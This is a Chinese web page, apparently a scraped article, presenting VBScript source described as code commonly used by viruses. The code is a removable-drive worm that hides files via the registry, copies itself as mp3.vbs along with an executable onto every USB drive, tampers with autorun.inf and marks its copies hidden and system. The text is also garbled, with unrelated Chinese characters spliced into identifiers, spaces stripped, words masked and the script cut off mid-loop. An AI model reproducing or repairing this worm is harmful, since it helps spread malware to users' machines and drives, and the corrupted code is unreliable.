您的位置 首页 百科知识

一来自段病毒常用的VBS代码

一来自段病毒常用的VBS代码

复制代码代码如下:

Onerrorresumenext

Dimfs安都金田虽达岁提o,wshell,curfolder,curdristr,curdri

Setfso=createobject("scripting.filesystemobject")

Setwshell=CreateObject("欢半福鸡王等***.shell")

Setcurfo序侵属松容流尽lder=fso.GetFolder(".")

curdristr=L首扬危道了象eft(WScript.ScriptFullName,3)

Setcurdri=fso.GetDrive(curdristr)

reghid()'不显示隐藏文件

IfWScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs"Then'如果在system32中

Fori=1To2Step0

reghid福绍洲难宜化数散线居热()

ForEach沿青货文driInfso.Drives

片响按挥认地灯汽Ifdri.DriveType=1Anddri<>"A:"Anddri<>"B:"Then

'autorun.inf文件夹改名

Iffso.FolderExists(dri.Path&"\autorun.inf")Then

fso.MoveFolderdri.Pat者调层顺h&"\autorun.inf",dri.Path&"\Rubbish"

EndIf

'复制自身及exe文件到移动硬盘

Iffso.FileExists(dri.Path&"\mp3.vbs")Andfso.FileExists(dri.Path&"\autorun.inf")Then

Else

Iffso.FileE强诗哥控等望通员置注xists(dri则渐零接.Path&"\mp3.vbs")Then

fso际黑.DeleteFiledri.Path&"\mp3.vbs",True

ElseIffso.FileExists(dri.Path&"\autorun.inf")Then

检烈械讲fso.Dele根较绿紧将teFiledri.Path&"\autorun.inf",True

Endif

fso.CopyFileWScript.ScriptFullName,dri.Path&"\mp3.vbs",True

Iffso.FileExists(".\SiZhu.exe")AndNotfso.FileExists(dri.Path&"\SiZhu.exe")Then

fso.CopyFile".\SiZhu.exe",dri.Path&"\SiZhu.exe",True

EndIf

autoinf(dri.Path)

'给刚复制的文件加上隐藏属性

Setnorkon=fso.GetFile(dri式鲁六皇法圆沿.Path&"\mp3.vbs")

***.run"attrib+r+a+s+h"&dri.Path&"\mp3.vbs",0

Setnorkon=Noth神义维叫径县杨信ing

上一篇 热扩散系数的定义
下一篇 2016驾照科目二考试注意事项
扫一扫,手机访问

扫一扫,手机浏览